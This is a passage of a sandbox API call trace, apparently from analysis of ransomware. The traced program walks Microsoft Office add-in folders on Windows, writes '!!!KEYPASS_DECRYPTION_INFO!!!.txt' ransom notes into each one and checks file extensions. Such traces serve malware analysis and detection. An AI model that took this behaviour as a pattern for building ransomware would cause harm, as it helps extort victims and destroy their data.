wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0251.978] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0251.978] GetLastError () returned 0x3f0 [0251.979] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0251.979] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0252.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\zh-cht\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x860 [0252.011] GetFileType (hFile=0x860) returned 0x1 [0252.012] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0252.012] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0252.012] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0252.012] WriteFile (in: hFile=0x860, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0252.013] WriteFile (in: hFile=0x860, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0252.013] CloseHandle (hObject=0x860) returned 1 [0252.013] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3987978 [0252.014] FindNextFileW (in: hFindFile=0x3987978, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.014] FindNextFileW (in: hFindFile=0x3987978, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.014] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0252.014] FindNextFileW (in: hFindFile=0x3987978, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.014] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\AdHocReportingExcelClient.dll") returned=".dll" [0252.014] FindNextFileW (in: hFindFile=0x3987978, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.014] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0252.014] FindNextFileW (in: hFindFile=0x3987978, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.014] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0252.014] FindNextFileW (in: hFindFile=0x3987978, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.014] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0252.014] FindNextFileW (in: hFindFile=0x3987978, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.014] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0252.014] FindNextFileW (in: hFindFile=0x3987978, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.014] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\PowerViewRes.zh-CHT.xap") returned=".xap" [0252.014] FindNextFileW (in: hFindFile=0x3987978, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0252.014] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0252.015] FindNextFileW (in: hFindFile=0x2e799d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0252.015] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0252.015] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0252.015] GetLastError () returned 0x3f0 [0252.015] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0252.015] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0252.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x864 [0252.050] GetFileType (hFile=0x864) returned 0x1 [0252.050] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0252.050] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0252.050] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0252.050] WriteFile (in: hFile=0x864, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0252.051] WriteFile (in: hFile=0x864, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0252.051] CloseHandle (hObject=0x864) returned 1 [0252.052] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3987638 [0252.052] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0252.088] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0252.088] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0252.088] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0252.088] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0252.089] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39883a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0252.089] GetLastError () returned 0x3f0 [0252.089] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0252.089] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0252.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ar\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x868 [0252.144] GetFileType (hFile=0x868) returned 0x1 [0252.144] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0252.144] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0252.145] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0252.145] WriteFile (in: hFile=0x868, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0252.145] WriteFile (in: hFile=0x868, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0252.146] CloseHandle (hObject=0x868) returned 1 [0252.146] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x39878b8 [0252.146] FindNextFileW (in: hFindFile=0x39878b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.184] FindNextFileW (in: hFindFile=0x39878b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.184] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0252.184] FindNextFileW (in: hFindFile=0x39878b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.184] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\LocalizedStrings.xml") returned=".xml" [0252.184] FindNextFileW (in: hFindFile=0x39878b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.184] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0252.184] FindNextFileW (in: hFindFile=0x39878b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.184] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0252.184] FindNextFileW (in: hFindFile=0x39878b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.184] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0252.184] FindNextFileW (in: hFindFile=0x39878b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.184] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0252.184] FindNextFileW (in: hFindFile=0x39878b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.184] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0252.184] FindNextFileW (in: hFindFile=0x39878b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.185] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0252.185] FindNextFileW (in: hFindFile=0x39878b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.185] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0252.185] FindNextFileW (in: hFindFile=0x39878b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.185] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0252.185] FindNextFileW (in: hFindFile=0x39878b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.185] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0252.185] FindNextFileW (in: hFindFile=0x39878b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.185] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0252.185] FindNextFileW (in: hFindFile=0x39878b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.185] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0252.185] FindNextFileW (in: hFindFile=0x39878b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.185] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0252.185] FindNextFileW (in: hFindFile=0x39878b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.185] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0252.185] FindNextFileW (in: hFindFile=0x39878b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.185] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0252.185] FindNextFileW (in: hFindFile=0x39878b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.185] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0252.185] FindNextFileW (in: hFindFile=0x39878b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.185] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0252.185] FindNextFileW (in: hFindFile=0x39878b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.185] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0252.185] FindNextFileW (in: hFindFile=0x39878b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.186] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0252.186] FindNextFileW (in: hFindFile=0x39878b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.186] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0252.186] FindNextFileW (in: hFindFile=0x39878b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.187] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0252.187] FindNextFileW (in: hFindFile=0x39878b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.187] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0252.187] FindNextFileW (in: hFindFile=0x39878b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0252.187] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0252.187] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0252.187] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39883a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0252.187] GetLastError () returned 0x3f0 [0252.187] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0252.187] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0252.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\bg\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x86c [0252.232] GetFileType (hFile=0x86c) returned 0x1 [0252.232] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0252.232] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0252.232] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0252.233] WriteFile (in: hFile=0x86c, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0252.234] WriteFile (in: hFile=0x86c, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0252.234] CloseHandle (hObject=0x86c) returned 1 [0252.235] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x39877f8 [0252.235] FindNextFileW (in: hFindFile=0x39877f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.236] FindNextFileW (in: hFindFile=0x39877f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.236] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0252.236] FindNextFileW (in: hFindFile=0x39877f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.236] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\LocalizedStrings.xml") returned=".xml" [0252.236] FindNextFileW (in: hFindFile=0x39877f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.236] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0252.236] FindNextFileW (in: hFindFile=0x39877f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.236] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0252.236] FindNextFileW (in: hFindFile=0x39877f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.236] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0252.236] FindNextFileW (in: hFindFile=0x39877f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.236] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0252.237] FindNextFileW (in: hFindFile=0x39877f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.237] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0252.237] FindNextFileW (in: hFindFile=0x39877f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.237] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0252.237] FindNextFileW (in: hFindFile=0x39877f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.237] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0252.237] FindNextFileW (in: hFindFile=0x39877f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.237] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0252.237] FindNextFileW (in: hFindFile=0x39877f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.237] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0252.237] FindNextFileW (in: hFindFile=0x39877f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.237] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0252.237] FindNextFileW (in: hFindFile=0x39877f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.237] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0252.237] FindNextFileW (in: hFindFile=0x39877f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.237] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0252.237] FindNextFileW (in: hFindFile=0x39877f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.237] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0252.237] FindNextFileW (in: hFindFile=0x39877f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.237] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0252.237] 